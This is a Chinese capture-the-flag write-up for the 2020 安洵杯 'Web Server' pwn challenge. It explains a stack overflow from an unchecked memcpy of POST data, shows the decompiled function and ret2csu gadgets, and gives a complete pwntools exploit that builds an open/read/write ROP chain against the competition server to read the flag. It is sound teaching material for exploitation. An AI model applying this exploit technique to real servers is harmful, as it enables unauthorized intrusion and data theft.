Web Server

发表于 2021-01-15 分类于 Challenge， 2020， 安洵杯， Pwn
Challenge | 2020 | 安洵杯 | Pwn | Web Server

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/8582

题目考点

- *HTTP协议*
- *堆栈溢出漏洞利用*
- *orw rop链构造*
- *seccomp保护*

解题思路

简要概述

一个模拟的web服务器, 采用http协议进行通讯, 采用浏览器访问可直接查看web页面。程序开了沙箱, 只能采用open, read, write来打印flag或者利用lgx::http::send_file函数来获取flag。

漏洞点

在lgx::work::work::handle_post中有个memcpy函数，该函数是将post的数据进行拷贝到dest中，若post的数据过大，则造成堆栈溢出

```
1  void __fastcall lgx::work::work::handle_post(lgx::work::work *this)
2  {
3    __m128i *v1; // rax
4    __m128i v2; // xmm0
5    void *v3; // rdx
6    bool v4; // zf
7    void *v5; // [rsp+0h] [rbp-568h]
8    __int64 v6; // [rsp+8h] [rbp-560h]
9    __int64 v7; // [rsp+10h] [rbp-558h]
10   void *v8; // [rsp+20h] [rbp-548h]
11   void *v9; // [rsp+28h] [rbp-540h]
12   void *v10; // [rsp+30h] [rbp-538h]
13   char dest; // [rsp+40h] [rbp-528h]
14
15   memcpy(&dest, **((const void ***)this + 2), *(_QWORD *)(*((_QWORD *)this + 2) + 8LL)); // vul
16   v8 = &v10;
17   v5 = (void *)34;
18   v1 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v8, &v5, 0LL);
19   v8 = v1;
20   v10 = v5;
21   *v1 = _mm_load_si128((const __m128i *)&xmmword_4148F0);
22   v2 = _mm_load_si128((const __m128i *)&xmmword_414900);
23   v1[2].m128i_i16[0] = 32034;
24   v3 = v8;
25   v1[1] = v2;
26   v9 = v5;
27   *((_BYTE *)v5 + (_QWORD)v3) = 0;
28   v4 = *((_QWORD *)this + 9) == 0LL;
29   v5 = &v7;
30   LODWORD(v7) = 1836345390;
31   WORD2(v7) = 108;
32   v6 = 5LL;
33   if ( !v4 )
34   {
35     (*((void (__fastcall **)(char *, void **, void **))this + 10))((char *)this + 56, &v5, &v8);
36     if ( v5 != &v7 )
37       operator delete(v5);
38   }
39   if ( v8 != &v10 )
40     operator delete(v8);
41 }
```

未开启pie，没有pop rdx的相关gadget, 采用__libc_csu_init函数中的gadget来进行调用三个参数的函数, orw打印flag

```
.text:0000000000413A00 loc_413A00:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000413A00                 mov     rdx, r14
.text:0000000000413A03                 mov     rsi, r13
.text:0000000000413A06                 mov     edi, r12d
.text:0000000000413A09                 call    qword ptr [r15+rbx*8]
.text:0000000000413A0D                 add     rbx, 1
.text:0000000000413A11                 cmp     rbp, rbx
.text:0000000000413A14                 jnz     short loc_413A00
.text:0000000000413A16
.text:0000000000413A16 loc_413A16:                             ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000413A16                 add     rsp, 8
.text:0000000000413A1A                 pop     rbx
.text:0000000000413A1B                 pop     rbp
.text:0000000000413A1C                 pop     r12
.text:0000000000413A1E                 pop     r13
.text:0000000000413A20                 pop     r14
.text:0000000000413A22                 pop     r15
.text:0000000000413A24                 retn
```

exp

```
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

elf_path  = 'pwn'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20100

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def post(d):
    p =  b'POST / HTTP/1.1\r\n'
    p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
    p += b'\r\n'
    p += d
    s(p)

#-------------------------exploit--------------------------
def exploit():
    li('exploit...')
    pop_rsp = 0x403811
    gadget_init = 0x413A1A
    gadget_call = 0x413A00
    buf = elf.bss() + 0x400
    flag_addr = buf
    p = b'A' * 0x528
    rop = flat([
    gadget_init,
    0, 1,
    0, flag_addr, 0x100, elf.got['read'],
    gadget_call,
    0, 0, 1,
    flag_addr, 0, 0, elf.got['open'],
    gadget_call,
    0, 0, 1,
    3, flag_addr, 0x100, elf.got['read'],
    gadget_call,
    0, 0, 1,
    1, flag_addr, 0x100, elf.got['write'],
```

```
    gadget_call
    ])
    p += rop
    post(p)
    s('./flag\x00')

def finish():
    ia()
    c()

#-------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()
```


 # Challenge # 2020 # Pwn # 安洵杯
BeCare4
LGX DATA PLATFORM